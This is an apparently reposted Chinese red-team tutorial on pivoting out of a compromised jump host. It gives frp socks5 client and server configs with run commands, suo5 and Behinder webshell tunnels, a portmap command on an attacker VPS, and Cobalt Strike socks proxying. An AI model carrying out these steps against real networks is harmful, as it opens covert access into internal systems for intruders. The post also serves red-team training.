红队技巧-跳板机出网利用

admin 2025年5月13日00:14:02评论1 views字数 1182阅读3分56秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标否则可能看不到了

群里@jack10y师傅重新注册了个公众号,用于分享自己学习过程的一些笔记,感兴趣的师傅可以关注下。

0x00 前言

在红蓝对抗中拿到跳板机后,一般考虑的就是先搭建代理,从而对内网的资产进行测试,下面介绍几种内网代理搭建方式。

0x01 frp+profile

1、cs上线主机(也可以直接用shell工具,非必须cs上线,这里我直接用的之前的笔记,使用的是cs上线)

红队技巧-跳板机出网利用
2、上传frpc.exe和frc.ini到跳板机
红队技巧-跳板机出网利用
3、vps上运行 ./frps -c frps.ini
红队技巧-跳板机出网利用
4、跳板机执行上传的frp  
shell  frpc.exe -c frpc.ini
红队技巧-跳板机出网利用
5、配置攻击机的proxyfile 代理服务器,地址为vps地址,端口为 frpc.ini中的remote端口
红队技巧-跳板机出网利用
6、设置代理规则
红队技巧-跳板机出网利用
下为frp配置
frpc.ini配置如下:
[common]server_addr = vps地址server_port = 59972[socks5]type = tcpremote_port = 6012plugin_user = test(账号)plugin = socks5plugin_passwd = test(密码)

frps.ini配置如下

[common]bind_port = 59972

0x02 suo5

1、上传suo5脚本到能访问到的url路径
红队技巧-跳板机出网利用
2、访问可以正常解析
红队技巧-跳板机出网利用
3、目标填写能访问到的suo5.jsp地址,填写账号密码,点击连接即可
红队技巧-跳板机出网利用
4、pro配置代理服务器,地址为本地的127.0.0.1,端口选1111就行
红队技巧-跳板机出网利用
5、配置代理规则
红队技巧-跳板机出网利用

0x03 冰蝎内网穿透模块

1、先冰蝎上马
红队技巧-跳板机出网利用
2、打开内网穿透模块,输入vps地址和转发流量的端口
红队技巧-跳板机出网利用
3、vps执行
./portmap  -p1 59970 -p2 4444 -m 2将本地端口 59970 的流量转发到另一个端口 4444
红队技巧-跳板机出网利用
4、点击开启
红队技巧-跳板机出网利用
5、vps收到流量
红队技巧-跳板机出网利用
6、proxyfile配置代理服务器
红队技巧-跳板机出网利用
7、proxyfile配置规则
红队技巧-跳板机出网利用

0x04 cs 上线socks4a

cs,使用socks4建立一个端口,然后pro选择vps地址和cs生产的端口,选择socks4a,然后创建服务器,然后加一条代理规则,只填写内网的地址,选择刚才创建的代理服务器即可。
1、右击shell->socks server
红队技巧-跳板机出网利用
2、使用socks 4a端口
红队技巧-跳板机出网利用
3、pro设置,端口为cs随机生成的sock端口,勾选socks 4a扩展
红队技巧-跳板机出网利用
4、配置代理规则
红队技巧-跳板机出网利用
下一篇预告 不出网的内网穿透

原文始发于微信公众号(潇湘信安):红队技巧-跳板机出网利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月13日00:14:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队技巧-跳板机出网利用http://cn-sec.com/archives/4054318.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息